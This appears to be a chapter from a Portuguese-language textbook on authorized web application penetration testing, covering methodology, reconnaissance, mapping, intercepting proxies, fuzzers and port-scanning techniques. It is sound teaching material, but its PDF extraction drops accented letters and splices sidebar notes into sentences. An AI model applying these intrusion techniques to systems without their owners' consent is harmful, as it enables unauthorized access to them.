Cryptology Conference on Advances in Cryptology LNCS. Vol. 5677. p. 55-69. Springer-Verlag,
2009.

1 STUTTARD, Dafydd; PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.

34
1 VAN DER STOCK, Andrew; CRUZ, Dinis; CHAPMAN, Jenelle; LOWERY, David; KEARY, Eoin;
MORANA, Marco M.; ROOK, David; WILLIAMS, Jeff e PREGO, Paulo. OWASP code review
guide v1.1. OWASP, 2008.

1 WANG, Xiaoyun; YU, Hongbo. How to break MD5 and other hash functions. Eurocrypt 2005.
Springer-Verlag, 2005.

1 WIESMANN, Adrian; CURPHEY, Mark; VAN DER STOCK, Andrew e STIRBEI, Ray. A guide to
building secure web applications and web services. OWASP, 2005.

1 WYSOPAL, Chris; NELSON, Lucas; ZOVI, Dino Dai e DUSTIN, Elfriede. The Art of Software
Security Testing: Identifying Software Security Flaws. Symantec Press, 2006.

Captulo 1 - Bibliografia 1

35
36
Teste de Invaso de Aplicaes Web
2
Reconhecimento e mapeamento
objetivos

Apresentar uma metodologia de teste de invaso de aplicaes web e as principais


ferramentas que podem ser utilizadas no processo, abordando, especialmente,
as fases de reconhecimento e mapeamento.

conceitos
Tipos e metodologia de teste de invaso, proxy de interceptao, web spiders,
fuzzers, varredores de portas e servios, varredores de vulnerabilidades,
reconhecimento, mapeamento, controles no lado cliente.

Introduo
Teste de invaso, tambm chamado de teste de intruso, teste de penetrao ou pentest, q
um mtodo utilizado para verificar a segurana de um ambiente, plataforma ou sistema,
por meio da simulao de ataques reais explorando as vulnerabilidades encontradas.
Varredura de
vulnerabilidades Diferentemente de uma varredura de vulnerabilidades, que muitas vezes recorre ao
Mtodo comumente simples uso de ferramentas automatizadas, pentest um processo cclico que depende
automatizado
principalmente do conhecimento tcnico do auditor de segurana que o realiza.
para identificar
vulnerabilidades em Este fato acaba sendo ressaltado quando o teste realizado contra aplicaes web, devido
elementos e sistemas
s caractersticas nicas que cada uma delas apresenta, por serem normalmente desenvol-
de rede. Cada um dos
ativos pertencentes ao vidas para uso em uma nica empresa ou entidade.
escopo da varredura
testado contra uma Segundo Scarfone et al (2008), testes de invaso tambm so teis para medir: a habilidade
srie de fraquezas da equipe de detectar e se defender contra ataques reais do ambiente alvo; o nvel neces-
conhecidas para a
srio de sofisticao de um atacante para comprometer o sistema; quo bem um sistema se
plataforma especfica.
comporta sob ataques, e as medidas adicionais que precisam ser adotadas para mitigar os
Captulo 2 - Reconhecimento e mapeamento

riscos identificados. Alguns dos tipos de teste descritos no The Open Source Security Testing
OSSTMM Methodology Manual OSSTMM 3 (Herzog, 2010) visam, justamente, verificar os dois pri-
Metodologia aberta meiros itens da lista acima, em vez da segurana do prprio alvo.

q
para realizao de
testes de segurana Testes de penetrao podem ser classificados em alguns tipos, de acordo com a quanti-
em ambientes,
dade de informao que apresentada ao auditor de segurana:
visando eliminar
aspectos subjetivos da 1 Teste caixa-preta: visa simular as mesmas condies de um atacante real, que
atividade, por meio da
possui acesso somente s informaes pblicas do alvo, como endereos IP externos,
definio de processos
reprodutveis e nomes de domnio e ramo de negcio da entidade.
mtricas para avaliao
dos resultados.

37
1 Teste caixa-branca: neste tipo de teste, todas as informaes do alvo so fornecidas q
ao auditor, incluindo topologia de rede, plataformas utilizadas, diagramas de casos
de uso, linguagens empregadas, cdigos-fonte e endereamento interno. O objetivo
desta abordagem simular ataques que podem ser realizados por pessoas com
conhecimento privilegiado do alvo, como funcionrios e ex-colaboradores.

1 Teste caixa-cinza: este tipo de teste uma mistura dos dois anteriores, antecipando
ao auditor aquelas informaes do alvo que um atacante obteria, cedo ou tarde, em
um processo de invaso real. Desse modo, o objetivo desta modalidade acelerar a
execuo do teste, poupando o tempo gasto pelo auditor nos processos de reconhe-
cimento e mapeamento.

A metodologia OSSTMM (Herzog, 2010) tambm considera na classificao do teste se a


equipe de segurana do ambiente alvo est consciente ou no da realizao do trabalho
pelo auditor de segurana. Com a adio desta varivel, possvel enumerar mais trs tipos
de testes, cujos focos passam a ser, total ou parcialmente, a capacidade de monitoramento e
de resposta da entidade alvo:

1 Teste duplo-cego: um teste caixa-preta, no qual a equipe de segurana do q


ambiente alvo no avisada sobre a execuo do trabalho.

1 Teste duplo-cinza: um teste caixa-cinza em que a equipe de segurana do


ambiente alvo sabe o perodo e o escopo dos testes, mas no os vetores ou canais
que sero empregados pelo auditor.

1 Teste reverso: um teste em que o auditor recebe todas as informaes disponveis


sobre o alvo e no qual a equipe de segurana do ambiente alvo no notificada sobre
a realizao dos testes.

Um problema de se executar os testes sem cincia da equipe de segurana que o processo


tende a ser mais demorado, porque necessrio evadir eventuais mecanismos instalados
para deteco e bloqueio de ataques. Isso implica realizar todas as atividades de enumerao
e invaso mais lentamente, de modo a reduzir ou evitar o disparo de alertas de monitora-
mento de segurana. Alm disso, muitas vezes, diversos endereos de origem devem ser
empregados, o que pode dificultar muito o trabalho, pela indisponibilidade de tais recursos.

Testes de penetrao so uma ferramenta importante no desenvolvimento e manuteno q


de software seguro (McGraw, 2006), evitando que vulnerabilidades sejam inseridas em
ambiente produtivo e avaliando a susceptibilidade dos sistemas a novos tipos de ataques.

Alguns padres de segurana, como o PCI DSS (PCI, 2009a) e o PCI PA-DSS (PCI, 2009b), por
exemplo, requerem testes de invaso regulares contra as aplicaes, visando o atendimento
desses objetivos. No contexto apresentado, o objetivo deste captulo introduzir uma meto-
dologia de teste de invaso de aplicaes web, abordando as fases de reconhecimento, mape-
Teste de Invaso de Aplicaes Web

amento e algumas tcnicas de descoberta de vulnerabilidades. Desse modo, o restante deste


captulo inclui, alm da discusso de metodologia, ferramentas bsicas, como proxies de intercep-
tao e varredores de portas, e tcnicas de explorao de controles no lado cliente da aplicao.

Exerccio de nivelamento 1 e
Teste de invaso
O que se entende por teste de invaso?

38
Metodologia de teste de invaso
fundamental realizar testes de invaso, assim como qualquer outra atividade, de q
acordo com mtodos pr-definidos, de modo a permitir que diferentes pessoas
alcancem resultados semelhantes, que possam ser reproduzidos.

Conforme j mencionado, um teste de invaso um processo cclico que envolve a execuo


de diversas atividades, como as ilustradas na Figura 2.1. Antes de prosseguir com o detalha-
mento de cada uma delas, porm, vale justificar, por meio de uma analogia, a necessidade
da repetio de algumas das tarefas que compem um teste de invaso.

Imagine-se uma pessoa que queira escalar uma montanha e apreciar a vista privilegiada do
topo. Inicialmente, ela deve reconhecer e mapear pontos intermedirios que possam ser
alcanados, limitando-se ao que possvel enxergar a partir da base. Em seguida, ela deve
identificar caminhos que a conduzam aos lugares mapeados e percorr-los para atingi-los.
Nesta nova posio, tem-se uma vista maior do horizonte e a pessoa capaz de vislumbrar
novas regies para as quais se dirigir, repetindo as etapas anteriores. Note-se que, a cada
iterao, ela se aproxima mais e mais do cume e consegue ver muito mais do que circunda a
montanha. Haver vezes, porm, que a partir de certos lugares, no ser possvel progredir
e ela ter de retornar um ou mais passos, para continuar. Tudo isso ocorre de maneira
similar em um pentest!

Denio de escopo
e autorizao
Documentao

Reconhecimento

Explorao de
Mapeamento
vulnerabilidades

Identicao de
vulnerabilidades

Figura 2.1
Etapas de um teste Apresentao de resultados
de invaso.

O primeiro passo, antes de iniciar qualquer teste de invaso, obter do cliente, por escrito, q
Captulo 2 - Reconhecimento e mapeamento

uma autorizao para execuo do teste e o escopo que ser coberto pela atividade.

Normalmente, isso feito por meio de um contrato assinado entre as partes, que define,
tambm, o tipo de teste que ser realizado, as premissas do trabalho (por exemplo, janelas
tcnicas que sero disponibilizadas) e os insumos que devem ser fornecidos pelo contratante,
nos casos de testes caixa-cinza ou caixa-branca. Para estes ltimos, comum solicitar, alm
da documentao da aplicao, a criao de usurios com perfis comuns e a enumerao de
um ou mais usurios privilegiados, para os testes de escalada de privilgios. Cabe ao cliente,
por sua vez, definir se a equipe de segurana interna ser avisada ou no sobre o pentest.

Outro ponto que deve ser considerado se os testes sero realizados internamente, q
externamente ou a partir de ambos os posicionamentos.

39
No primeiro caso, a estao de teste deve ser colocada no mesmo segmento da rede em que
ficam os usurios comuns da entidade, com o mesmo nvel de acesso lgico e fsico. J no
teste externo, o auditor recebe um acesso equivalente ao de um usurio remoto ou ao de
um possvel atacante, ou seja, todos os testes sero controlados por quaisquer mecanismos
de proteo de permetro, como firewalls e WAFs. Eventualmente, as regras desses ele- WAF
mentos podem ser suavizadas para os endereos IP de origem, de modo a no bloque-los Web Application Firewall
um dispositivo
e impedir o andamento dos testes. Um exemplo de caso em que necessrio realizar testes
que atua na camada
internos e externos o atendimento do requisito 11 do PCI DSS (PCI, 2009a). de aplicao com o

O trabalho propriamente dito comea com a fase de reconhecimento, cujo objetivo q objetivo de identificar
e bloquear trfego
levantar qualquer tipo de informao que possa auxiliar no teste de invaso. malicioso direcionado
a uma aplicao web.
Assim, nesta etapa, o auditor busca identificar, por exemplo, servidores que suportam a Por meio da definio
de regras, capaz
aplicao, sistemas operacionais instalados, linguagens de programao empregadas, nomes
de oferecer proteo
de potenciais usurios do sistema, regras de formao de identificadores de usurio, configu- contra ataques
raes de softwares, conveno utilizada na atribuio de nomes de mquinas, dentre muitas conhecidos, como
Injeo de SQL e XSS,
outras informaes. Todo esse levantamento realizado de diversas maneiras, incluindo
por exemplo, alm de
testes no prprio ambiente, testes indiretos e pesquisa em fontes de informao externas. servir para aplicao de

O prximo passo, o de mapeamento, consiste em relacionar tudo que foi coletado na etapa q correes virtuais, para
vulnerabilidades recm-
anterior e criar um mapa da aplicao, que reflita a estruturao dos arquivos componentes, descobertas e no
previstas pelo sistema.
as funcionalidades ofertadas, os pontos de entrada de informao e as tecnologias utilizadas.

Para isso, as informaes j coletadas devem ser complementadas com as pginas que
compem o sistema, que podem ser obtidas por mtodos manuais ou automticos. Em
caso de teste caixa-preta, na primeira iterao, comum que apenas algumas sees da
aplicao sejam mapeadas, pois ainda no se tem acesso s reas protegidas, que requerem
autenticao do usurio. Tais regies s podem ser alcanadas medida que o teste avana,
vulnerabilidades identificadas so exploradas e acesso obtido.

A partir do mapa construdo, deve-se proceder descoberta de vulnerabilidades, q


nas diversas camadas que compem a aplicao.

Por exemplo, imagine-se que uma aplicao de correio eletrnico est sendo testada e as
nicas pginas mapeadas, inicialmente, so a de autenticao de usurio e a de recupe-
rao de senha. Alm disso, considere-se que na fase de reconhecimento, descobriu-se um
diretrio conf acessvel via servidor web. No cenrio exposto, a presena das seguintes
fraquezas, pelo menos, deve ser verificada:

1 Existncia de arquivos interessantes no diretrio conf que possam conter, por exemplo,
identificadores de usurios vlidos;

1 Entropia baixa dos identificadores de sesso gerados pela aplicao;


1 Possibilidade de enumerao de usurios na tela de autenticao;
Teste de Invaso de Aplicaes Web

1 Perguntas fceis de serem respondidas na pgina de recuperao de senha;


1 Pginas de autenticao de usurio e de recuperao de senhas vulnerveis injeo de SQL;
1 Aceitao pela aplicao de identificadores de sesso fixados pelo usurio;
1 Presena de parmetros na requisio, que possam ser adulterados pelo auditor;
1 Pginas diretamente acessveis, sem a necessidade de autenticao.

O guia de testes do OWASP (Meucci et al., 2008), que base do presente texto, enumera veri-
ficaes para cerca de setenta vulnerabilidades, agrupadas nas seguintes classes, as quais
sero cobertas ao longo deste curso:

40
1 Levantamento de informaes culminam na revelao de informaes relevantes a
um atacante. Exemplo: exibio de comando SQL ao usurio, devido a erro causado por
sintaxe incorreta.

1 Gerenciamento de configurao parmetros definidos de maneira insegura em


qualquer das plataformas que compem a aplicao permitem subverter mecanismos de
segurana ou obter acesso direto infraestrutura subjacente. Exemplo: servidor SSL/TLS
que aceita cifras nulas na proteo do canal.

1 Autenticao fraquezas que permitem que um atacante seja reconhecido como um


usurio legtimo do sistema, sem conhecimento prvio da senha. Exemplo: tela de auten-
ticao vulnervel injeo de SQL.

1 Gerenciamento de sesses tem origem no tratamento inseguro dos identificadores

l
de sesso em algum ponto do ciclo de vida deles, resultando em acesso no autorizado
a funcionalidades e informaes. Exemplo: uso de nmeros sequenciais para identifica-
Web service um
componente de dores de sesso.
software descrito em
WSDL que fornece um 1 Autorizao vulnerabilidades que possibilitam que algum sem os devidos privilgios
servio acessvel pela realize uma operao ou acesse uma informao. Exemplo: sistema que desabilita itens
rede a outros servios de menu de acordo com verificao inicial de privilgios, mas que no valida as requisi-
e aplicaes.
Asynchronous es, quando realizadas.
JavaScript and XML
1 Lgica de negcios erros na implementao das regras de negcio fornecem um
(AJAX) compreende um
conjunto de tecnolo- caminho para que elas no sejam honradas por usurios maliciosos. Exemplo: loja de
gias utilizadas com o comrcio eletrnico que no verifica se o preo de um produto negativo.
objetivo de permitir a
criao de aplicaes 1 Validao de dados esta classe engloba os problemas decorrentes do uso de infor-
interativas, que maes fornecidas por usurios, sem as validaes necessrias, e pode acarretar desde
buscam informaes
o vazamento de informaes at o comprometimento de outros usurios do ambiente.
no servidor de
maneira assncrona, Exemplo: informao usada diretamente na construo de uma consulta SQL, permi-
por meio de Javascript. tindo a injeo de comandos arbitrrios.
Estas podem ser
formatadas como 1 Negao de servio falhas que podem ser usadas para impedir o uso da aplicao,
documentos XML ou normalmente, pela exausto de recursos. Exemplo: sistema que no verifica memria
HTML, por exemplo, e
utilizadas para disponvel antes de realizar alocao dinmica.
atualizar dinamica-
1 Web services e AJAX de modo geral, so afetados por variaes das vulnerabilidades
mente a pgina com a
qual o usurio est tradicionais, com algumas peculiaridades de cada tecnologia. Exemplo: web service que
interagindo. no valida se a mensagem bem formada, antes de process-la.

A ltima fase do ciclo compreende a explorao, quando possvel, das vulnerabilidades q


encontradas, de modo a violar requisitos implcitos ou explcitos de segurana da aplicao.
Captulo 2 - Reconhecimento e mapeamento

importante notar que o processo no deve parar quando um ataque for bem-sucedido, pois,
o objetivo do teste de invaso encontrar o mximo de caminhos possveis que possam levar
a um comprometimento da aplicao, dos usurios ou do ambiente. Assim, tomando-se como
Sequestro de sesso base o ltimo exemplo, mesmo que o analista execute com sucesso um sequestro de sesso,
Ataque que permite devido baixa entropia dos identificadores de sesso, ainda dever testar outros ataques,
tomar o controle
como evaso da pgina de autenticao e acesso direto a recursos do sistema.

q
de uma sesso
estabelecida entre o
Claramente, aps executada a etapa de explorao, fundamental que o auditor de
usurio e um sistema.
segurana tenha obtido um maior nvel de acesso ao sistema ou uma melhor compre-
enso dele, que permita abord-lo por outro ngulo.

41
De outro modo, no faz sentido iniciar uma nova rodada do ciclo, uma vez que nenhum
avano foi conseguido com a ltima iterao. Caso isso acontea, a melhor estratgia
revisar tudo que foi encontrado at o momento, para detectar possveis pontos que dei-
xaram de ser explorados, antes de dar o teste por encerrado.

Embora a identificao de vulnerabilidades e a explorao possam ser realizadas conjun-


tamente, e assim que esses tpicos sero abordados neste curso, recomenda-se, nos
primeiros testes, execut-los separadamente. A razo disso evitar o excitamento natural
que acomete uma pessoa frente a novas descobertas, que pode fazer com que o auditor
foque somente o objetivo que considera o ideal e desconsidere diversos outros problemas
existentes na aplicao.

Paralelamente a todas as atividades descritas, est o processo de documentao, que se q


inicia com o contrato formal e permeia as quatro etapas do ciclo de teste de invaso.

Tudo que for encontrado deve constar no relatrio que ser entregue como resultado do
trabalho, incluindo aquelas vulnerabilidades que no puderam ser exploradas. Os ataques
realizados devem ser descritos de modo a permitir a reproduo pelo cliente, se desejado,
e, assim, devem conter o mximo de detalhes, como pr-condies, ferramentas utilizadas e
mtodos empregados. Normalmente, inclui-se tambm uma recomendao geral indicando
como o problema pode ser solucionado.

Por fim, e no menos importante, encontra-se a apresentao de resultados, que deve q


ser ajustada de acordo com as caractersticas da audincia.

Por exemplo, aceitvel incluir detalhes tcnicos de cada explorao para o corpo tcnico
da empresa, mas no para membros da diretoria. Neste caso, normalmente, melhor
focar nos impactos decorrentes dos ataques possveis, do que nos mtodos que devem
ser empregados para aproveitar-se das vulnerabilidades presentes no ambiente. Com-
plementarmente, uma anlise de risco quantitativa relacionada aos vetores de ataque
muito bem-vinda.

Exerccio de fixao 1 e
Etapas de um teste de invaso
Quais so as etapas de um teste de invaso?

Ferramentas bsicas
Para realizar qualquer teste de invaso, um conjunto mnimo de ferramentas deve q
Teste de Invaso de Aplicaes Web

estar disponvel, independentemente de serem livres ou pagas. O ideal que o auditor


prepare um notebook, com bom processador e bastante memria, instalando uma ou
mais ferramentas de cada classe, com as quais se sinta vontade para trabalhar.

De modo geral, possvel encontrar timas solues livres, que cobrem a maior parte das
necessidades de um trabalho dessa natureza. Uma exceo a esta regra, talvez, sejam os
varredores automticos de vulnerabilidades, cujos exemplares livres ainda esto aqum dos
melhores produtos comerciais. Antes de sair comprando ferramentas carssimas, porm,
considere-se que elas so capazes de encontrar apenas os problemas mais simples, que
podem ser descritos em regras gerais, e que os itens de maior interesse ainda requerem o
conhecimento e experincia do analista.

42
No restante desta seo, ferramentas pertencentes s seguintes categorias q
sero apresentadas:

1 Navegadores web.
1 Proxies de interceptao.
1 Web spiders.
1 Fuzzers.
1 Varredores de portas e servios.
1 Varredores de vulnerabilidades.
1 Outras ferramentas.

Navegadores web
Os navegadores web so uma pea fundamental de um teste de invaso de aplicaes q
web, uma vez que so utilizados pelos usurios para os acessos normais aos sistemas.
Cada representante deles apresenta particularidades no uso do protocolo HTTP e na
maneira como documentos HTML so manipulados, ainda mais quando so utilizados
elementos no padronizados. Isso faz com que alguns tipos de ataques no funcionem
em todos os tipos de navegadores, e, portanto, uma boa prtica realizar os testes con-
siderando mais de um fornecedor e verses diferentes do mesmo software.

Como atacantes, muitas vezes, querem afetar de uma s vez o maior nmero de aplicaes
e usurios, razovel esperar que os ataques sejam direcionados s plataformas mais
populares. Assim, interessante saber a fatia de mercado de cada navegador, para que os
testes sejam direcionados para os mais utilizados apenas.

H diversos estudos na internet sobre esse assunto (NetMarketShare, StatCounter, StatOwl), q


mas no h um consenso entre eles para os representantes com as menores porcentagens.
Aplicando-se mdia aritmtica simples aos resultados, tem-se a seguinte classificao:

1 Microsoft Internet Explorer 56,36%


1 Mozilla Firefox 24,87%
1 Google Chrome 9,86%
1 Apple Safari 6,39%
1 Opera 1,52%
Vejamos a seguir as principais caractersticas dos navegadores mais populares:

1 Microsoft Internet Explorer o navegador fornecido pela Microsoft juntamente com


Captulo 2 - Reconhecimento e mapeamento

Controle ActiveX os sistemas operacionais Windows. Suporta controles ActiveX nativamente, uma vez
Pequeno programa que
que esta uma tecnologia da mesma empresa. Dada a sua popularidade, praticamente,
pode ser executado em
navegadores web, com todo stio e aplicao web construdo para suport-lo e, assim, importante que seja
o propsito de estender utilizado em um teste de invaso, sobretudo quando ActiveX for empregado. Novas
as funcionalidades
funcionalidades podem ser adicionadas por meio de extenses, como HttpWatch e
existentes.
TamperIE, que podem ser utilizadas para testar a segurana de aplicaes web.

1 Mozilla Firefox um rpido navegador, livre e multi-plataforma, mantido pela fun-


dao Mozilla, ao lado de diversos outros projetos. Trabalha muito bem com a maioria
dos stios web, mas no possui suporte nativo para controles ActiveX. Apresenta diversas
funcionalidades de segurana, como bloqueio de pginas conhecidas por contedo
malicioso, navegao privativa e integrao com software antivrus. Permite adicionar
inmeras novas funcionalidades por meio de complementos, alguns dos quais podem

43
ser utilizados em testes de invaso. Exemplos interessantes incluem Multiproxy Switch,
FoxyProxy, TamperData, HttpWatch e Add N Edit Cookies.

1 Google Chrome fornecido pelo Google, um navegador extremamente rpido e


simples, que pode ser executado em plataformas Windows e Linux. Tem crescido muito
em popularidade, apesar de ainda no conseguir operar com qualquer tipo de stio web.
Por exemplo, aplicaes web bancrias empregam comumente mdulos de segurana
que no so desenvolvidos para Chrome. Dentre os aspectos de segurana implemen-
tados, esto o aviso e bloqueio no caso de acesso a contedo malicioso, e a necessidade
de autenticao para instalao de complementos, prevenindo que malwares infectem Malware
o navegador. Por fim, igualmente ao Firefox e ao Internet Explorer, permite adicionar Abreviao de malicious
software, que se refere
funcionalidades por meio de extenses.
a qualquer programa
de computador que
Proxies de interceptao tem por objetivo

Os proxies de interceptao so uma das ferramentas mais utilizadas em testes de q violar a segurana
de um ambiente,
invaso de aplicaes web, permitindo inspecionar requisies e respostas HTTP e sem consentimento
do usurio. Vrus de
alter-las conforme desejado, em tempo real. Eles so executados localmente, na
computador, worms,
prpria estao em que roda o navegador web, e interceptam todo trfego dele baseado cavalos de troia e
em HTTP/HTTPS, dissecando o contedo de cada pacote. spywares so exemplos
de malwares.
Para isso, o navegador deve ser configurado para direcionar o trfego para o proxy em uso,
o que depende da verso de software utilizada. O esquema geral de funcionamento deste
tipo de ferramenta e as interaes que ocorrem entre os diversos elementos esto ilus-
trados na Figura 2.2.

Estao local

Requisio Requisio
Navegador Proxy de Servidor
Figura 2.2
web interceptao web
Resposta Resposta Funcionamento
de um proxy de
interceptao.

No caso do protocolo HTTPS, um proxy transparente atua como um encaminhador de


pacotes TCP para o servidor destino, com o qual o navegador web estabelece o tnel SSL/TLS
fim-a-fim. Se um proxy de interceptao funcionasse da mesma maneira, no seria possvel
inspecionar o contedo da conversao, que o objetivo principal a ser alcanado por ele.
Assim, o processo precisa ser alterado para que este requisito funcional seja atendido corre-
tamente (Stuttard e Pinto, 2007).

O primeiro passo o envio pelo navegador de uma requisio CONNECT ao proxy, que
respondida com uma mensagem com cdigo de estado 200. A partir desse momento, o
proxy simula o lado servidor do tnel SSL/TLS para o navegador e inicia, como um cliente,
Teste de Invaso de Aplicaes Web

uma segunda conexo SSL/TLS para o servidor destino original. Como as chaves criptogr-
ficas utilizadas pelo proxy no so as verdadeiras, uma mensagem de erro exibida pelo
navegador, que deve ser ignorada (vide Figura 2.3). Durante o restante da conexo, o proxy
atua como um tradutor, recebendo os dados enviados pelo navegador, armazenando-os
para inspeo e enviando-os ao servidor destino, por meio da segunda conexo. Este fluxo
pode ser observado na Figura 2.4.

44
Figura 2.3
Erro do navegador
devido a acesso
HTTPS por meio
do proxy.

Estao

Navegador Proxy Servidor web

Dados Dados Dados Dados

HTTP HTTP HTTP

SSL / TLS SSL / TLS SSL / TLS

TCP TCP TCP

IP IP IP

Enlace/Fsico Enlace/Fsico Enlace/Fsico


Figura 2.4
Captulo 2 - Reconhecimento e mapeamento

Funcionamento
de proxy de
interceptao para Internet
conexes HTTPS.

Alm da funcionalidade bsica de interceptao, estas ferramentas fornecem diversas q


outras possibilidades, como a definio de filtros para seleo de mensagens, manu-
teno de histrico detalhado de requisies realizadas e respectivas respostas, substi-
tuio automtica de valores nas mensagens por meio de regras definidas pelo usurio,
manipulao das interceptaes diretamente no navegador e revelao de campos
escondidos, para visualizao direta no navegador (Stuttard e Pinto, 2007).

45
Os exemplares mais sofisticados dos proxies de interceptao fazem parte de sutes q
integradas de teste de aplicaes, dentre as quais pode-se citar:

1 WebScarab um arcabouo livre de ferramentas para teste de aplicaes web,


que mantido como um projeto OWASP. Como escrito na linguagem Java, pode ser
utilizado em diversos sistemas operacionais, bastando para isso haver uma mquina
virtual Java disponvel. As funcionalidades so disponibilizadas por meio de diversos
plugins, que podem ser alterados, removidos ou adicionados pelo usurio.

1 Paros um software livre, desenvolvido em Java pela Chinotec Technologies, que


prov funcionalidades de proxy de interceptao, spider e varredor de vulnerabili-
dades. Esta ltima, embora muito aqum do fornecido por softwares especializados
e pagos, permite encontrar problemas simples em aplicaes web como cross-site
scripting e injeo de SQL.

1 Burp Suite uma plataforma integrada de testes, desenvolvida em Java pela empresa
PortSwigger Port Security, que pode ser empregada em todas as etapas de um teste
de invaso. H uma verso gratuita, que possui somente os mdulos bsicos, e outra
paga, que conta com muito mais recursos, como o Burp Scanner e o Burp Intruder, utili-
zados para varredura de vulnerabilidades e intruso de aplicaes, respectivamente.

Existem alternativas mais simples a estas sutes que podem ser instaladas diretamente nos
navegadores, na forma de extenses. Elas manipulam os dados antes de serem encapsu-
lados para transporte pela rede e, assim, permitem operar com o protocolo HTTPS, sem a
necessidade de estabelecer uma conexo com um proxy de interceptao. De maneira geral,
permitem alterar apenas os dados de requisies, mas isso mais que suficiente para testar
uma grande variedade de vulnerabilidades. O TamperIE e o TamperData so dois exemplos,
j citados neste curso, desse tipo de utilitrio.

Web spiders
Estas ferramentas, tambm chamadas de web crawlers, so empregadas na fase de q
mapeamento e tm por objetivo montar automaticamente o mapa da aplicao, visi-
tando cada pgina disponvel e realizando uma cpia local de cada recurso encontrado,
para fins de anlise posterior. Esse processo realizado facilmente para stios web com
contedo esttico, por meio de uma busca recursiva de recursos, com base nos links
existentes, limitados ao domnio de interesse.

Quando executadas para mapear aplicaes web, porm, devido natureza dinmica
destas, diversas dificuldades surgem, que nem sempre podem ser resolvidas satisfato-
riamente. O problema fundamental que a ferramenta precisa entender a semntica da
pgina analisada, em vez de simplesmente procurar por referncias a outros recursos.

Assim, ela deve ser capaz de: trabalhar com navegao baseada em formulrios, parme-
Teste de Invaso de Aplicaes Web

tros ou menus gerados dinamicamente por cdigo Javascript; lidar com processos de auten-
ticao e funcionalidades que demandam mltiplos passos para execuo; determinar o
tipo de dado aceito em campos de entrada, para fornecer valores adequados; e, interpretar
mensagens de erro que eventualmente sejam exibidas.

Mesmo que os requisitos acima possam ser satisfeitos, muito arriscado executar um
mapeamento totalmente automatizado e, assim, um mtodo hbrido deve ser utilizado, con-
forme ser visto posteriormente. Uma das razes para isso que, ao tentar mapear todas as
funcionalidades, uma ferramenta assim pode executar aes indesejadas e perigosas, como
remover um usurio, alterar as configuraes do sistema ou transferir fundos de uma conta

46
para outra. Alm das sutes de teste integradas j apresentadas, que tambm incluem web
spiders, o utilitrio wget e a ferramenta webshag so outros exemplos que podem ser dados.

Fuzzers
Para identificar falhas no tratamento e validao de informaes, devem ser utilizados q
dados invlidos, que estejam fora dos domnios esperados pela aplicao. Por exemplo,
para um campo que aceita o dia do ms, nmeros negativos ou maiores que 31 devem
ser empregados. Em alguns casos, como no teste de cross-site scripting, um campo pode
aceitar qualquer tipo de texto, mas os dados para teste devem respeitar uma sintaxe
especfica, para que o ataque funcione.

Cabe ao analista de segurana descrever o domnio de valores a ser testado em cada item
de entrada, mas, normalmente, listas pr-definidas esto disponveis para os casos mais
comuns. Para evadir ou quebrar eventuais filtros que tenham sido implementados, diversas
representaes de um mesmo dado devem ser submetidas pela ferramenta. Isso vlido
tambm para ataques que visam explorar navegadores especficos ou a interao entre a
aplicao e as plataformas subjacentes.

Existem alguns fuzzers disponveis para uso, dentre os quais possvel citar o Spike, a plata-
forma Peach Fuzzing, o WebFuzzer e o mdulo do WebScarab criado com esse propsito.

Varredores de portas e servios


Um varredor de portas e servios um software que analisa uma ou mais mquinas e q
identifica as portas abertas e os servios especficos que esto sendo executados em
cada uma delas. Opcionalmente, pode tambm detectar o tipo e a verso do sistema
operacional utilizado.

Analistas de segurana empregam este tipo de ferramenta para verificar se os ativos pelos
quais zelam esto executando apenas os servios autorizados, e para levantar informaes
preliminares do ambiente em testes de invaso caixa-preta e varreduras de vulnerabilidades.

O princpio de funcionamento de um varredor de portas se baseia na suposio que o q


ativo implementa corretamente a camada de transporte da pilha de rede, de acordo com
a RFC 793 (Postel, 1981). Se essa premissa no atendida, e isso ocorre algumas vezes,
o processo pode gerar falsos positivos ou negativos. Tendo isso em mente, os principais
mtodos de deteco so:

1 Varredura TCP a ferramenta tenta estabelecer uma conexo TCP e, somente no


caso da negociao ser executada com sucesso, a porta considerada aberta.
Captulo 2 - Reconhecimento e mapeamento

1 Varredura SYN neste mtodo, um pacote SYN enviado ao ativo, o qual deve res-
ponder com um pacote SYN-ACK, caso a porta esteja aberta. Se isso acontecer,
a ferramenta envia um RST, para que a conexo TCP no seja estabelecida.

1 Varredura UDP um pacote UDP enviado para uma porta do ativo, o qual deve
gerar uma mensagem ICMP Port Unreachable, caso esteja fechada. Se nenhuma men-
sagem de erro for recebida pelo aplicativo, a porta considerada aberta.

1 Varredura FIN um pacote com o flag FIN ligado enviado a uma porta e, caso
ela esteja fechada, um pacote RST deve ser devolvido pelo ativo. De outro modo, o
pacote deve ser ignorado e nenhuma resposta gerada.

Uma vez detectadas as portas abertas, a identificao dos respectivos servios pode ser
realizada por meio de duas tcnicas principais: Verificao nula e Portas TCP e UDP.

47
A primeira, aplicvel ao protocolo TCP, consiste em se conectar na porta e esperar alguns
segundos, pela possibilidade de apresentao do banner de boas-vindas. Se isto ocorrer, ele
comparado contra uma base que tem o mapeamento para verses especficas de servios.
Note-se que isto pode gerar falsos positivos, caso o ativo seja configurado para exibir um
banner de outro fornecedor. O segundo mtodo, mais confivel e aplicvel a portas TCP e
UDP, resume-se em interagir com o servio e realizar a identificao, de acordo com o compor-
tamento apresentado e com uma base de respostas caractersticas de servios conhecidos.

A ferramenta mais popular deste tipo o Nmap, criado por Gordon Fyodor Lyon e distri-
budo como software livre para plataformas Windows, Linux e Mac OS X. Pode ser usado
para levantar rapidamente as informaes de uma nica mquina ou de redes inteiras,
empregando os mais diversos mtodos conhecidos. A interface padro por linha de
comando, mas h interfaces grficas disponveis, como Zenmap e NmapSI.

Varredores de vulnerabilidades
Estas ferramentas tm por objetivo encontrar, de maneira automatizada, o maior q
nmero possvel de vulnerabilidades em um ativo. O mecanismo bsico de funciona-
mento consiste no envio de requisies e anlise das respostas obtidas, em busca de
evidncias de que uma dada vulnerabilidade est presente.

Por exemplo, o varredor pode tentar acessar arquivos de exemplo instalados por padro
em uma dada plataforma e, se a solicitao for bem-sucedida, possvel concluir que h
um problema a ser resolvido. Essa estratgia tima para verificar fraquezas em softwares
de prateleira e os embutidos em hardware, uma vez que as instalaes no variam muito
de uma mquina para outra e, assim, possvel construir uma base de dados de vulnera-
bilidades que podem afet-los. Aplicaes web, por outro lado, tendem a ser nicas, j que
normalmente so construdas para propsitos especficos e, logo, devem ser tratadas como
tais, inviabilizando a criao de um dicionrio especfico de fraquezas.

As dificuldades encontradas em web spiders, que foram discutidas anteriormente, q


